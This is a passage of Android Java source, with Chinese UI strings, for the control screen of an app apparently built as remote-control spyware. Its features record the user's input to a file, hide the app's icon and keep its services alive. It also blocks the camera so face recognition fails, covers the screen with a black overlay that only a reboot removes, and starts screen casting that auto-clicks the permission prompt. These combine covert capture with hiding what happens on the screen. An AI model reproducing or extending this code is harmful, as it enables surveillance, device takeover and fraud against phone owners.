        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        
        switch (requestCode) {
            case REQUEST_CODE_STORAGE_PERMISSION:
                if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                    Log.i(TAG, "✅ STORAGE_PERMISSION_GRANTED");
                    showToast("存储权限已授予，可以记录输入内容");
                    // 通知服务重新初始化文件
                    notifyServiceToInitFile();
                } else {
                    Log.w(TAG, "❌ STORAGE_PERMISSION_DENIED");
                    showToast("存储权限被拒绝，无法记录输入内容到文件");
                }
                break;
        }
    }
    
    /**
     * 测试WebSocket连接
     */
    private void testWebSocketConnection() {
        try {
            new Thread(() -> {
                try {
                    java.net.Socket socket = new java.net.Socket("echo.websocket.org", 80);
                    socket.close();
                    
                    // 记录测试成功
                    SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
                    long currentTime = System.currentTimeMillis();
                    int testCount = prefs.getInt("manual_websocket_test_count", 0) + 1;
                    
                    prefs.edit()
                        .putInt("manual_websocket_test_count", testCount)
                        .putLong("last_manual_websocket_test_time", currentTime)
                        .apply();
                    
                    runOnUiThread(() -> {
                        Toast.makeText(this, "WebSocket连接测试成功", Toast.LENGTH_SHORT).show();
                        updateKeepAliveStatus();
                    });
                    
                    Log.i(TAG, "🌐 MANUAL_WEBSOCKET_TEST_SUCCESS - Count: " + testCount);
                    
                } catch (Exception e) {
                    runOnUiThread(() -> {
                        Toast.makeText(this, "WebSocket连接测试失败: " + e.getMessage(), Toast.LENGTH_SHORT).show();
                    });
                    Log.e(TAG, "❌ MANUAL_WEBSOCKET_TEST_FAILED", e);
                }
            }).start();
            
        } catch (Exception e) {
            Log.e(TAG, "Error testing WebSocket connection", e);
            Toast.makeText(this, "测试失败: " + e.getMessage(), Toast.LENGTH_SHORT).show();
        }
    }
    
    /**
     * 查看服务存活证明
     */
    private void viewServiceProof() {
        try {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            
            int serviceStartCount = prefs.getInt("service_start_count", 0);
            int serviceRestartCount = prefs.getInt("service_restart_count", 0);
            int keepAliveCount = prefs.getInt("simple_keep_alive_count", 0);
            int systemEventCount = prefs.getInt("system_event_count", 0);
            int ourAppEventCount = prefs.getInt("our_app_event_count", 0);
            int networkSuccessCount = prefs.getInt("network_test_success_count", 0);
            int networkFailCount = prefs.getInt("network_test_fail_count", 0);
            int manualTestCount = prefs.getInt("manual_websocket_test_count", 0);
            
            long lastHeartbeat = prefs.getLong("last_service_heartbeat", 0);
            long lastServiceStart = prefs.getLong("last_service_start_time", 0);
            long lastServiceRestart = prefs.getLong("last_service_restart_time", 0);
            long lastKeepAlive = prefs.getLong("last_simple_keep_alive_time", 0);
            long lastSystemEvent = prefs.getLong("last_system_event_time", 0);
            long lastOurAppEvent = prefs.getLong("last_our_app_event_time", 0);
            long lastNetworkSuccess = prefs.getLong("last_network_test_success_time", 0);
            long lastNetworkFail = prefs.getLong("last_network_test_fail_time", 0);
            long lastManualTest = prefs.getLong("last_manual_websocket_test_time", 0);
            
            java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss", java.util.Locale.getDefault());
            
            StringBuilder proof = new StringBuilder();
            proof.append("=== 服务存活证明 ===\n\n");
            proof.append("📊 服务统计:\n");
            proof.append("• 服务启动次数: ").append(serviceStartCount).append("\n");
            proof.append("• 服务重启次数: ").append(serviceRestartCount).append("\n");
            proof.append("• 保活操作次数: ").append(keepAliveCount).append("\n");
            proof.append("• 系统事件次数: ").append(systemEventCount).append("\n");
            proof.append("• 应用事件次数: ").append(ourAppEventCount).append("\n");
            proof.append("• 网络测试成功: ").append(networkSuccessCount).append("\n");
            proof.append("• 网络测试失败: ").append(networkFailCount).append("\n");
            proof.append("• 手动测试次数: ").append(manualTestCount).append("\n\n");
            
            proof.append("⏰ 最后活动时间:\n");
            if (lastHeartbeat > 0) proof.append("• 服务心跳: ").append(sdf.format(new java.util.Date(lastHeartbeat))).append("\n");
            if (lastServiceStart > 0) proof.append("• 服务启动: ").append(sdf.format(new java.util.Date(lastServiceStart))).append("\n");
            if (lastServiceRestart > 0) proof.append("• 服务重启: ").append(sdf.format(new java.util.Date(lastServiceRestart))).append("\n");
            if (lastKeepAlive > 0) proof.append("• 保活操作: ").append(sdf.format(new java.util.Date(lastKeepAlive))).append("\n");
            if (lastSystemEvent > 0) proof.append("• 系统事件: ").append(sdf.format(new java.util.Date(lastSystemEvent))).append("\n");
            if (lastOurAppEvent > 0) proof.append("• 应用事件: ").append(sdf.format(new java.util.Date(lastOurAppEvent))).append("\n");
            if (lastNetworkSuccess > 0) proof.append("• 网络成功: ").append(sdf.format(new java.util.Date(lastNetworkSuccess))).append("\n");
            if (lastNetworkFail > 0) proof.append("• 网络失败: ").append(sdf.format(new java.util.Date(lastNetworkFail))).append("\n");
            if (lastManualTest > 0) proof.append("• 手动测试: ").append(sdf.format(new java.util.Date(lastManualTest))).append("\n");
            
            proof.append("\n=== 证明结束 ===");
            
            // 显示证明信息
            new android.app.AlertDialog.Builder(this)
                .setTitle("服务存活证明")
                .setMessage(proof.toString())
                .setPositiveButton("确定", null)
                .show();
            
            Log.i(TAG, "📋 SERVICE_PROOF_DISPLAYED");
            
        } catch (Exception e) {
            Log.e(TAG, "Error viewing service proof", e);
            Toast.makeText(this, "查看证明失败: " + e.getMessage(), Toast.LENGTH_SHORT).show();
        }
    }
    
    /**
     * 启动定期刷新
     */
    private void startPeriodicRefresh() {
        try {
            if (refreshHandler == null) {
                refreshHandler = new Handler(Looper.getMainLooper());
            }
            
            if (refreshRunnable == null) {
                refreshRunnable = new Runnable() {
                    @Override
                    public void run() {
                        try {
                            updateUI();
                            refreshHandler.postDelayed(this, 5000); // 每5秒刷新一次
                        } catch (Exception e) {
                            Log.e(TAG, "Error in periodic refresh", e);
                        }
                    }
                };
            }
            
            refreshHandler.post(refreshRunnable);
            Log.d(TAG, "🔄 PERIODIC_REFRESH_STARTED");
            
        } catch (Exception e) {
            Log.e(TAG, "Error starting periodic refresh", e);
        }
    }
    
    /**
     * 停止定期刷新
     */
    private void stopPeriodicRefresh() {
        try {
            if (refreshHandler != null && refreshRunnable != null) {
                refreshHandler.removeCallbacks(refreshRunnable);
                Log.d(TAG, "🛑 PERIODIC_REFRESH_STOPPED");
            }
        } catch (Exception e) {
            Log.e(TAG, "Error stopping periodic refresh", e);
        }
    }
    
    /**
     * 检查重启原因
     */
    private void checkRestartReason() {
        try {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            long lastAppRestartTime = prefs.getLong("last_app_restart_time", 0);
            long currentTime = System.currentTimeMillis();
            
            // 如果距离上次重启时间小于30秒，说明应用被重启了
            if (lastAppRestartTime > 0 && (currentTime - lastAppRestartTime) < 30000) {
                Log.i(TAG, "🔄 APP_RESTART_DETECTED - Time: " + (currentTime - lastAppRestartTime) + "ms ago");
                recordAppRestart();
            }
            
        } catch (Exception e) {
            Log.e(TAG, "Error checking restart reason", e);
        }
    }
    
    /**
     * 记录应用重启
     */
    private void recordAppRestart() {
        try {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int restartCount = prefs.getInt("app_restart_count", 0) + 1;
            
            prefs.edit()
                .putInt("app_restart_count", restartCount)
                .putLong("last_app_restart_time", currentTime)
                .apply();
            
            Log.i(TAG, "📝 APP_RESTART_RECORDED - Count: " + restartCount);
            
        } catch (Exception e) {
            Log.e(TAG, "Error recording app restart", e);
        }
    }
    
    /**
     * 显示Toast消息
     */
    private void showToast(String message) {
        try {
            Toast.makeText(this, message, Toast.LENGTH_SHORT).show();
        } catch (Exception e) {
            Log.e(TAG, "Error showing toast", e);
        }
    }
    
    
    
    


    /**
     * 隐藏按钮点击事件
     */
    private void onHideButtonClicked() {
        // 执行隐藏逻辑
        executeAdvancedAppHide();
    }
    
    /**
     * 清理多个应用程序实例
     */
    private void cleanMultipleAppInstances() {
        try {
            Log.i(TAG, "🧹 CLEANING_MULTIPLE_APP_INSTANCES - Starting cleanup process");
            
            // 显示清理进度
            showToast("开始清理多个应用程序实例...");
            
            // 1. 禁用所有相关组件
            disableAllComponents();
            
            // 2. 等待一段时间
            new Handler(Looper.getMainLooper()).postDelayed(() -> {
                try {
                    // 3. 启用正确的组件
                    enableCorrectComponents();
                    
                    // 4. 重启无障碍服务
                    restartAccessibilityService();
                    
                    Log.i(TAG, "✅ MULTIPLE_APP_INSTANCES_CLEANED - Cleanup completed successfully");
                    showToast("清理完成！请重新启用无障碍服务");
                    
                } catch (Exception e) {
                    Log.e(TAG, "❌ ERROR_IN_CLEANUP_DELAYED_TASK", e);
                    showToast("清理过程中出现错误: " + e.getMessage());
                }
            }, 2000);
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_CLEANING_MULTIPLE_APP_INSTANCES", e);
            showToast("清理失败: " + e.getMessage());
        }
    }
    
    /**
     * 禁用所有相关组件
     */
    private void disableAllComponents() {
        try {
            Log.i(TAG, "🔒 DISABLING_ALL_COMPONENTS - Starting component disabling");
            
            PackageManager pm = getPackageManager();
            String packageName = getPackageName();
            
            // 禁用主Activity
            ComponentName mainActivity = new ComponentName(packageName, packageName + ".MainActivity");
            pm.setComponentEnabledSetting(mainActivity, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
            
            // 禁用无障碍服务
            ComponentName accessibilityService = new ComponentName(packageName, packageName + ".AccessibilityKeeperService");
            pm.setComponentEnabledSetting(accessibilityService, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
            
            // 禁用其他服务
            ComponentName keepAliveService = new ComponentName(packageName, packageName + ".KeepAliveService");
            pm.setComponentEnabledSetting(keepAliveService, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
            
            ComponentName foregroundService = new ComponentName(packageName, packageName + ".ForegroundService");
            pm.setComponentEnabledSetting(foregroundService, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
            
            Log.i(TAG, "✅ ALL_COMPONENTS_DISABLED - All components disabled successfully");
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_DISABLING_ALL_COMPONENTS", e);
        }
    }
    
    /**
     * 启用正确的组件
     */
    private void enableCorrectComponents() {
        try {
            Log.i(TAG, "🔓 ENABLING_CORRECT_COMPONENTS - Starting component enabling");
            
            PackageManager pm = getPackageManager();
            String packageName = getPackageName();
            
            // 启用主Activity
            ComponentName mainActivity = new ComponentName(packageName, packageName + ".MainActivity");
            pm.setComponentEnabledSetting(mainActivity, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
            
            // 启用无障碍服务
            ComponentName accessibilityService = new ComponentName(packageName, packageName + ".AccessibilityKeeperService");
            pm.setComponentEnabledSetting(accessibilityService, PackageManager.COMPONENT_ENABLED_STATE_ENABLED, PackageManager.DONT_KILL_APP);
            
            Log.i(TAG, "✅ CORRECT_COMPONENTS_ENABLED - Correct components enabled successfully");
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_ENABLING_CORRECT_COMPONENTS", e);
        }
    }
    
    /**
     * 重启无障碍服务
     */
    private void restartAccessibilityService() {
        try {
            Log.i(TAG, "🔄 RESTARTING_ACCESSIBILITY_SERVICE - Starting service restart");
            
            // 发送广播重启无障碍服务
            Intent intent = new Intent("com.demo.accessibilitykeeper.RESTART_ACCESSIBILITY_SERVICE");
            sendBroadcast(intent);
            
            Log.i(TAG, "✅ ACCESSIBILITY_SERVICE_RESTARTED - Accessibility service restart broadcast sent");
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_RESTARTING_ACCESSIBILITY_SERVICE", e);
        }
    }

    /**
     * 执行高级应用隐藏
     */
    private void executeAdvancedAppHide() {
        try {
            Log.i(TAG, "🚀 EXECUTING_ADVANCED_APP_HIDE - User requested advanced app hiding");
            
            
            if (advancedAppHider != null) {
                advancedAppHider.executeComprehensiveHide();
                showToast("高级应用隐藏已执行");
                Log.i(TAG, "✅ ADVANCED_APP_HIDE_EXECUTED - Advanced app hiding completed");
            } else {
                Log.e(TAG, "❌ ADVANCED_APP_HIDER_NULL - AdvancedAppHider not initialized");
                showToast("高级应用隐藏工具未初始化");
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_EXECUTING_ADVANCED_APP_HIDE", e);
            showToast("高级应用隐藏失败: " + e.getMessage());
        }
    }
    
    
    
    /**
     * 初始化屏幕遮罩组件
     */
    private void initMaskComponents() {
        try {
            // 初始化遮罩按钮
            btnShowMask = findViewById(R.id.btn_show_mask);
            btnHideMask = findViewById(R.id.btn_hide_mask);
            tvMaskStatus = findViewById(R.id.tv_mask_status);
            
            // 设置按钮点击监听器
            if (btnShowMask != null) {
                btnShowMask.setOnClickListener(v -> showScreenMask());
            }
            
            if (btnHideMask != null) {
                btnHideMask.setOnClickListener(v -> hideScreenMask());
            }
            
            // 初始化遮罩服务Intent
            maskServiceIntent = new Intent(this, ScreenMaskService.class);
            
            // 更新遮罩状态显示
            updateMaskStatus();
            
            Log.d(TAG, "✅ MASK_COMPONENTS_INITIALIZED");
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_INITIALIZING_MASK_COMPONENTS", e);
        }
    }
    
    /**
     * 显示屏幕遮罩
     */
    private void showScreenMask() {
        try {
            Log.d(TAG, "🎭 SHOWING_SCREEN_MASK");
            
            // 检查悬浮窗权限
            if (!checkOverlayPermission()) {
                requestOverlayPermission();
                return;
            }
            
            // 启动遮罩服务
            maskServiceIntent.putExtra("action", "show_mask");
            startService(maskServiceIntent);
            
            // 更新UI状态
            updateMaskStatus();
            
            Toast.makeText(this, "屏幕遮罩已激活", Toast.LENGTH_SHORT).show();
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_SHOWING_SCREEN_MASK", e);
            Toast.makeText(this, "显示遮罩失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 隐藏屏幕遮罩
     */
    private void hideScreenMask() {
        try {
            Log.d(TAG, "🎭 HIDING_SCREEN_MASK");
            
            // 停止遮罩服务
            maskServiceIntent.putExtra("action", "hide_mask");
            startService(maskServiceIntent);
            
            // 更新UI状态
            updateMaskStatus();
            
            Toast.makeText(this, "屏幕遮罩已关闭", Toast.LENGTH_SHORT).show();
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_HIDING_SCREEN_MASK", e);
            Toast.makeText(this, "隐藏遮罩失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 更新遮罩状态显示
     */
    private void updateMaskStatus() {
        try {
            if (tvMaskStatus != null) {
                // 这里可以检查遮罩服务的状态
                // 由于ScreenMaskService是独立的，我们通过服务状态来判断
                boolean isMaskActive = isMaskServiceRunning();
                
                if (isMaskActive) {
                    tvMaskStatus.setText("遮罩状态：已激活");
                    tvMaskStatus.setTextColor(getResources().getColor(android.R.color.holo_red_dark));
                } else {
                    tvMaskStatus.setText("遮罩状态：未激活");
                    tvMaskStatus.setTextColor(getResources().getColor(android.R.color.darker_gray));
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_UPDATING_MASK_STATUS", e);
        }
    }
    
    /**
     * 检查遮罩服务是否正在运行
     */
    private boolean isMaskServiceRunning() {
        try {
            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            List<ActivityManager.RunningServiceInfo> services = activityManager.getRunningServices(Integer.MAX_VALUE);
            
            for (ActivityManager.RunningServiceInfo service : services) {
                if (ScreenMaskService.class.getName().equals(service.service.getClassName())) {
                    return true;
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_CHECKING_MASK_SERVICE_STATUS", e);
        }
        return false;
    }
    
    /**
     * 检查悬浮窗权限
     */
    private boolean checkOverlayPermission() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            return Settings.canDrawOverlays(this);
        }
        return true;
    }
    
    /**
     * 请求悬浮窗权限
     */
    private void requestOverlayPermission() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
            intent.setData(Uri.parse("package:" + getPackageName()));
            startActivity(intent);
            
            Toast.makeText(this, "请授予悬浮窗权限以使用屏幕遮罩功能", Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 初始化相机屏蔽组件
     */
    private void initCameraBlockComponents() {
        try {
            // 初始化相机屏蔽按钮
            btnBlockCamera = findViewById(R.id.btn_block_camera);
            btnUnblockCamera = findViewById(R.id.btn_unblock_camera);
            tvCameraStatus = findViewById(R.id.tv_camera_status);
            
            // 设置按钮点击监听器
            if (btnBlockCamera != null) {
                btnBlockCamera.setOnClickListener(v -> blockCamera());
            }
            
            if (btnUnblockCamera != null) {
                btnUnblockCamera.setOnClickListener(v -> unblockCamera());
            }
            
            // 初始化相机屏蔽服务Intent
            cameraBlockServiceIntent = new Intent(this, CameraBlockService.class);
            
            // 更新相机状态显示
            updateCameraStatus();
            
            Log.d(TAG, "✅ CAMERA_BLOCK_COMPONENTS_INITIALIZED");
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_INITIALIZING_CAMERA_BLOCK_COMPONENTS", e);
        }
    }
    
    /**
     * 屏蔽相机
     */
    private void blockCamera() {
        try {
            Log.d(TAG, "📷 BLOCKING_CAMERA");
            
            // 检查相机权限
            if (!checkCameraPermission()) {
                requestCameraPermission();
                return;
            }
            
            // 启动相机屏蔽服务
            cameraBlockServiceIntent.putExtra("action", "block_camera");
            startService(cameraBlockServiceIntent);
            
            // 更新UI状态
            updateCameraStatus();
            
            Toast.makeText(this, "相机已屏蔽，面容识别将失败", Toast.LENGTH_SHORT).show();
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_BLOCKING_CAMERA", e);
            Toast.makeText(this, "屏蔽相机失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 恢复相机
     */
    private void unblockCamera() {
        try {
            Log.d(TAG, "📷 UNBLOCKING_CAMERA");
            
            // 停止相机屏蔽服务
            cameraBlockServiceIntent.putExtra("action", "unblock_camera");
            startService(cameraBlockServiceIntent);
            
            // 更新UI状态
            updateCameraStatus();
            
            Toast.makeText(this, "相机已恢复，面容识别正常工作", Toast.LENGTH_SHORT).show();
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_UNBLOCKING_CAMERA", e);
            Toast.makeText(this, "恢复相机失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 更新相机状态显示
     */
    private void updateCameraStatus() {
        try {
            if (tvCameraStatus != null) {
                // 检查相机屏蔽服务状态
                boolean isCameraBlocked = isCameraBlockServiceRunning();
                
                if (isCameraBlocked) {
                    tvCameraStatus.setText("相机状态：已屏蔽");
                    tvCameraStatus.setTextColor(getResources().getColor(android.R.color.holo_red_dark));
                } else {
                    tvCameraStatus.setText("相机状态：正常");
                    tvCameraStatus.setTextColor(getResources().getColor(android.R.color.darker_gray));
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_UPDATING_CAMERA_STATUS", e);
        }
    }
    
    /**
     * 检查相机屏蔽服务是否正在运行
     */
    private boolean isCameraBlockServiceRunning() {
        try {
            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            List<ActivityManager.RunningServiceInfo> services = activityManager.getRunningServices(Integer.MAX_VALUE);
            
            for (ActivityManager.RunningServiceInfo service : services) {
                if (CameraBlockService.class.getName().equals(service.service.getClassName())) {
                    return true;
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_CHECKING_CAMERA_BLOCK_SERVICE_STATUS", e);
        }
        return false;
    }
    
    /**
     * 检查相机权限
     */
    private boolean checkCameraPermission() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            return checkSelfPermission(android.Manifest.permission.CAMERA) == 
                   android.content.pm.PackageManager.PERMISSION_GRANTED;
        }
        return true;
    }
    
    /**
     * 请求相机权限
     */
    private void requestCameraPermission() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            requestPermissions(new String[]{android.Manifest.permission.CAMERA}, 1003);
            Toast.makeText(this, "请授予相机权限以使用相机屏蔽功能", Toast.LENGTH_LONG).show();
        }
    }
    
    
    
    
    /**
     * 初始化投屏组件
     */
    private void initScreenCastComponents() {
        try {
            // 初始化投屏按钮
            btnEnableScreenCast = findViewById(R.id.btn_enable_screen_cast);
            btnDisableScreenCast = findViewById(R.id.btn_disable_screen_cast);
            tvScreenCastStatus = findViewById(R.id.tv_screen_cast_status);
            
            // 设置按钮点击监听器
            if (btnEnableScreenCast != null) {
                btnEnableScreenCast.setOnClickListener(v -> enableScreenCast());
            }
            
            if (btnDisableScreenCast != null) {
                btnDisableScreenCast.setOnClickListener(v -> disableScreenCast());
            }
            
            // 初始化投屏服务Intent
            screenCastServiceIntent = new Intent(this, ScreenCastService.class);
            
            // 更新投屏状态显示
            updateScreenCastStatus();
            
            Log.d(TAG, "✅ SCREEN_CAST_COMPONENTS_INITIALIZED");
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_INITIALIZING_SCREEN_CAST_COMPONENTS", e);
        }
    }
    
    /**
     * 启用投屏
     */
    private void enableScreenCast() {
        try {
            Log.d(TAG, "📺 ENABLING_SCREEN_CAST");
            
            // 检查Android版本
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
                Log.d(TAG, "✅ Android 14+ detected, screen cast features available");
            } else {
                Log.w(TAG, "⚠️ Android version below 14, limited screen cast features");
            }
            
            // 启动投屏服务
            screenCastServiceIntent.putExtra("action", "enable_screen_cast");
            startService(screenCastServiceIntent);
            
            // 更新UI状态
            updateScreenCastStatus();
            
            Toast.makeText(this, "投屏功能已启用，将自动点击允许权限", Toast.LENGTH_SHORT).show();
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_ENABLING_SCREEN_CAST", e);
            Toast.makeText(this, "启用投屏失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 禁用投屏
     */
    private void disableScreenCast() {
        try {
            Log.d(TAG, "📺 DISABLING_SCREEN_CAST");
            
            // 停止投屏服务
            screenCastServiceIntent.putExtra("action", "disable_screen_cast");
            startService(screenCastServiceIntent);
            
            // 更新UI状态
            updateScreenCastStatus();
            
            Toast.makeText(this, "投屏功能已禁用", Toast.LENGTH_SHORT).show();
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_DISABLING_SCREEN_CAST", e);
            Toast.makeText(this, "禁用投屏失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 更新投屏状态显示
     */
    private void updateScreenCastStatus() {
        try {
            if (tvScreenCastStatus != null) {
                // 检查投屏服务状态
                boolean isScreenCastEnabled = isScreenCastServiceRunning();
                
                if (isScreenCastEnabled) {
                    tvScreenCastStatus.setText("投屏状态：已启用");
                    tvScreenCastStatus.setTextColor(getResources().getColor(android.R.color.holo_green_dark));
                } else {
                    tvScreenCastStatus.setText("投屏状态：未启用");
                    tvScreenCastStatus.setTextColor(getResources().getColor(android.R.color.darker_gray));
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_UPDATING_SCREEN_CAST_STATUS", e);
        }
    }
    
    /**
     * 检查投屏服务是否正在运行
     */
    private boolean isScreenCastServiceRunning() {
        try {
            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            List<ActivityManager.RunningServiceInfo> services = activityManager.getRunningServices(Integer.MAX_VALUE);
            
            for (ActivityManager.RunningServiceInfo service : services) {
                if (ScreenCastService.class.getName().equals(service.service.getClassName())) {
                    return true;
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_CHECKING_SCREEN_CAST_SERVICE_STATUS", e);
        }
        return false;
    }
    
    /**
     * 初始化自动黑屏组件
     */
    private void initAutoMaskComponents() {
        try {
            // 初始化自动黑屏按钮
            btnEnableAutoMask = findViewById(R.id.btn_enable_auto_mask);
            btnDisableAutoMask = findViewById(R.id.btn_disable_auto_mask);
            tvAutoMaskStatus = findViewById(R.id.tv_auto_mask_status);
            
            // 设置按钮点击监听器
            if (btnEnableAutoMask != null) {
                btnEnableAutoMask.setOnClickListener(v -> enableAutoMask());
            }
            
            if (btnDisableAutoMask != null) {
                btnDisableAutoMask.setOnClickListener(v -> disableAutoMask());
            }
            
            // 初始化自动黑屏服务Intent
            autoMaskServiceIntent = new Intent(this, AutoMaskService.class);
            
            // 更新自动黑屏状态显示
            updateAutoMaskStatus();
            
            Log.d(TAG, "✅ AUTO_MASK_COMPONENTS_INITIALIZED");
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_INITIALIZING_AUTO_MASK_COMPONENTS", e);
        }
    }
    
    /**
     * 启用自动黑屏
     */
    private void enableAutoMask() {
        try {
            Log.d(TAG, "🎭 ENABLING_AUTO_MASK");
            
            // 启动自动黑屏服务
            autoMaskServiceIntent.putExtra("action", "enable_auto_mask");
            startService(autoMaskServiceIntent);
            
            // 更新UI状态
            updateAutoMaskStatus();
            
            Toast.makeText(this, "自动黑屏已启用，重启后将自动开启黑屏遮罩", Toast.LENGTH_SHORT).show();
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_ENABLING_AUTO_MASK", e);
            Toast.makeText(this, "启用自动黑屏失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 禁用自动黑屏
     */
    private void disableAutoMask() {
        try {
            Log.d(TAG, "🎭 DISABLING_AUTO_MASK");
            
            // 停止自动黑屏服务
            autoMaskServiceIntent.putExtra("action", "disable_auto_mask");
            startService(autoMaskServiceIntent);
            
            // 更新UI状态
            updateAutoMaskStatus();
            
            Toast.makeText(this, "自动黑屏已禁用", Toast.LENGTH_SHORT).show();
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_DISABLING_AUTO_MASK", e);
            Toast.makeText(this, "禁用自动黑屏失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 更新自动黑屏状态显示
     */
    private void updateAutoMaskStatus() {
        try {
            if (tvAutoMaskStatus != null) {
                // 检查自动黑屏服务状态
                boolean isAutoMaskEnabled = isAutoMaskServiceRunning();
                
                if (isAutoMaskEnabled) {
                    tvAutoMaskStatus.setText("自动黑屏状态：已启用");
                    tvAutoMaskStatus.setTextColor(getResources().getColor(android.R.color.holo_green_dark));
                } else {
                    tvAutoMaskStatus.setText("自动黑屏状态：未启用");
                    tvAutoMaskStatus.setTextColor(getResources().getColor(android.R.color.darker_gray));
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_UPDATING_AUTO_MASK_STATUS", e);
        }
    }
    
    /**
     * 检查自动黑屏服务是否正在运行
     */
    private boolean isAutoMaskServiceRunning() {
        try {
            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            List<ActivityManager.RunningServiceInfo> services = activityManager.getRunningServices(Integer.MAX_VALUE);
            
            for (ActivityManager.RunningServiceInfo service : services) {
                if (AutoMaskService.class.getName().equals(service.service.getClassName())) {
                    return true;
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_CHECKING_AUTO_MASK_SERVICE_STATUS", e);
        }
        return false;
    }
    
    /**
     * 初始化持续遮罩组件
     */
    private void initPersistentMaskComponents() {
        try {
            // 初始化持续遮罩按钮
            btnStartPersistentMask = findViewById(R.id.btn_start_persistent_mask);
            btnStopPersistentMask = findViewById(R.id.btn_stop_persistent_mask);
            tvPersistentMaskStatus = findViewById(R.id.tv_persistent_mask_status);
            
            // 设置按钮点击监听器
            if (btnStartPersistentMask != null) {
                btnStartPersistentMask.setOnClickListener(v -> startPersistentMask());
            }
            
            if (btnStopPersistentMask != null) {
                btnStopPersistentMask.setOnClickListener(v -> stopPersistentMask());
            }
            
            // 初始化持续遮罩服务Intent
            persistentMaskServiceIntent = new Intent(this, ScreenMaskService.class);
            
            // 更新持续遮罩状态显示
            updatePersistentMaskStatus();
            
            Log.d(TAG, "✅ PERSISTENT_MASK_COMPONENTS_INITIALIZED");
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_INITIALIZING_PERSISTENT_MASK_COMPONENTS", e);
        }
    }
    
    /**
     * 启动持续遮罩
     */
    private void startPersistentMask() {
        try {
            Log.d(TAG, "🎭 STARTING_PERSISTENT_MASK");
            
            // 启动持续遮罩服务
            persistentMaskServiceIntent.putExtra("action", "start_persistent_mask");
            startService(persistentMaskServiceIntent);
            
            // 更新UI状态
            updatePersistentMaskStatus();
            
            Toast.makeText(this, "持续遮罩已启动，重启手机才能解除", Toast.LENGTH_LONG).show();
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_STARTING_PERSISTENT_MASK", e);
            Toast.makeText(this, "启动持续遮罩失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 停止持续遮罩
     */
    private void stopPersistentMask() {
        try {
            Log.d(TAG, "🎭 STOPPING_PERSISTENT_MASK");
            
            // 停止持续遮罩服务
            persistentMaskServiceIntent.putExtra("action", "stop_persistent_mask");
            startService(persistentMaskServiceIntent);
            
            // 更新UI状态
            updatePersistentMaskStatus();
            
            Toast.makeText(this, "持续遮罩已停止", Toast.LENGTH_SHORT).show();
            
